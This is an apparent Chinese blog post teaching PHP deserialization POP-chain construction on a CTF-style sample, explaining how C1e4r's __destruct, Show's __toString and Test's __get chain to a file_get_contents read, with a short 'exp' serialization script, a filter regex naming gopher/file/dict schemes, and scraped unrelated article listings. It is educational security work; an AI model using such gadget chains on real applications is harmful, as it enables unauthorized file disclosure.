class Person {
private $name;
private $sex;
private $age; //__set()方法用来设置私有属性
function __set($property_name, $value) {
echo "在直接设置私有属性值的时候,自动调用了这个 __set() 方法为私有属性赋值<br />";
$this->$property_name = $value;
}
//__get()方法用来获取私有属性
function __get($property_name) {
echo "在直接获取私有属性值的时候,自动调用了这个 __get() 方法<br />";
echo $property_name;
// return isset($this->$property_name) ? $this->$property_name : null;
}
} $p1=new Person();
//直接为私有属性赋值的操作, 会自动调用 __set() 方法进行赋值
// $p1->name = "张三";
//直接获取私有属性的值, 会自动调用 __get() 方法,返回成员属性的值
// echo "我的名字叫:".$p1->name;
echo $p1->aaaaa;
echo "<br>";

构造pop时,当访问一个不存在的属性的时候,会直接调用__get方法,并将aaaaa变量传递给__get方法中$property_name中。



看如下代码构造反序列化漏洞:

class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo "执行了C1e4r的destruct"."<br>";
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
// $a = new Test();
// $a->params = array("source"=>'http://www.baidu.com');
// $b = new Show('index.php');
// $b->str['str'] = $a;
echo "执行了Show的toString"."<br>";
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
} }
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
echo "执行了Test的get"."<br>";
echo "$key"."<br>";
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}

向上回溯危险函数file_get->get->__get,看哪个类能够触发Test类的__get函数,发现Show类的__toString函数的$this->str['str']->source访问一个不存在的变量会调用__get方法,所以将Test类赋值给$this->str['str'],看哪个类又调用Show的__toString函数,发现C1e4r类的 __destruct魔法函数 $this->test = $this->str;echo $this->test;将Show类赋值给$this->test.就会调用__toString方法。

总结:

1.利用C1e4r类的__destruct()中的echo \(this->test
2.触发Show类的`__toString()`
3.利用Show类的`\)content = $this->str['str']->source 4.触发Test类的__get() 5.成功利用file_get()`读文件

exp:

$a = new Test();
$a->params = array("source"=>'http://www.baidu.com');
$b = new Show('index.php');
$b->str['str'] = $a;
$c= new C1e4r($b);
echo serialize($c);



参考链接:

https://xz.aliyun.com/t/3656#toc-1

php反序列化的好文章:

https://xz.aliyun.com/t/3674#toc-20

pop链构造的更多相关文章

  1. php反序列化之pop链构造

    本题是某信有一次内部比赛的题目,涉及到pop链的构造问题,所以在这里与大家分享一下 题目 查看源码 逻辑是当参数fn存在且不包含string.zlib.flag这三个字符串时,进行文件包含这里的过滤是 ...

  2. PHP审计之POP链挖掘

    PHP审计之POP链挖掘 前言 续上文中的php反序列化,继续来看,这个POP的挖掘思路.在其中一直构思基于AST去自动化挖掘POP链,迫于开发能力有限.没有进展,随后找到了一个别的师傅已经实现好的项 ...

  3. 2019强网杯web upload分析(pop链)

    参考链接:https://blog.csdn.net/qq_41173457/article/details/90724943 注意 只要namespace相同那就可以直接实例化同一namespace ...

  4. Smarty 3.1.34 反序列化POP链(任意文件删除)

    Smarty <= 3.1.34,存在任意文件删除的POP链. Exp: <?php class Smarty_Internal_Template { public $smarty = n ...

  5. Codeforces 1082 D. Maximum Diameter Graph-树的直径-最长链-构造题 (Educational Codeforces Round 55 (Rated for Div. 2))

    D. Maximum Diameter Graph time limit per test 2 seconds memory limit per test 256 megabytes input st ...

  6. CTF-安恒19年一月月赛部分writeup

    CTF-安恒19年一月月赛部分writeup MISC1-赢战2019 是一道图片隐写题 linux下可以正常打开图片,首先到binwalk分析一下. 里面有东西,foremost分离一下 有一张二维 ...

  7. 浅谈PHP反序列化漏洞原理

    序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 0x01 php反序列化漏洞 在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等. 常见的序列化格式: ...

  8. GYCTF easyphp 【反序列化配合字符逃逸】

    基础知识可以参考我之前写的那个 0CTF 2016 piapiapia  那个题只是简单记录了一下,学习了一下php反序列化的思路 https://www.cnblogs.com/tiaopideju ...

  9. 初识phar反序列化&&复现bytectf_2019_easycms&&RSS思路

    概要 来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞.这个新的攻击方式被他公开在了 ...

随机推荐

  1. Spring.Net---2、IoC/DI基本概念

    ---------------------------------------------------------------------------------- (1)IoC/DI的概念 IoC ...

  2. 阿里云服务器windows server流量不大的情况下,tomcat经常出现访问阻塞,手动ctrl+c或者点击右键又访问正常

    我被这个问题折磨了好几天,因为这两天要帮别人做推广,不能再出现这样的情况了,不然广告费就白烧了,所以特意查了一下资料,结果解决方案被我找出来了. 问题发生原因是因为打开编辑选项后,一不小心点到dos窗 ...

  3. 牛客Wannafly挑战赛23F 计数(循环卷积+拉格朗日插值/单位根反演)

    传送门 直接的想法就是设 \(x^k\) 为边权,矩阵树定理一波后取出 \(x^{nk}\) 的系数即可 也就是求出模 \(x^k\) 意义下的循环卷积的常数项 考虑插值出最后多项式,类比 \(DFT ...

  4. 使用WampServer搭建本地PHP环境,绑定域名,配置伪静态

    倡萌之前介绍过 USBWebserver 快速搭建本地PHP环境 ,推荐USBWebserver的原因在于它是绿色的,不需要安装,想使用就手动运行下即可.但是 USBWebserver 也有自身的弱点 ...

  5. .net C# Sql数据库SQLHelper类

    using System;using System.Collections.Generic;using System.Text;using System.Collections;using Syste ...

  6. LintCode2016年8月8日算法比赛----子树

    子树 题目描述 有两个不同大小的二叉树:T1有上百万的节点:T2有好几百的节点.请设计一种算法,判定T2是否为T1的子树. 注意事项 若 T1 中存在从节点 n 开始的子树与 T2 相同,我们称 T2 ...

  7. C#默认OrderBy()函数的排序问题

    昨天在客户现场遇到一个很奇葩的问题,猜下下面代码的排序输出是什么: static void Main() { List<", "1:"}; foreach(stri ...

  8. 路飞学城知识点4之Django contenttypes 应用

    Django contenttypes 应用 contenttypes 是Django内置的一个应用,可以追踪项目中所有app和model的对应关系,并记录在ContentType表中. 每当我们创建 ...

  9. 解决Spring框架下中文乱码的问题

    在使用了Spring框架下回发现很多表单交互的地方会发生乱码,而且写到数据库中也是乱码,这其实还是字符编码的问题,在我们还在用自己写的servlet的时候,直接在request和response加上字 ...

  10. RN 解决CFBundleIdentifier", Does Not Exist

    mac环境下,在命令行中run-ios构建时报错:CFBundleIdentifier", Does Not Exist 打开XCode,进入.xcodeproj文件,运行,编译时报错:'b ...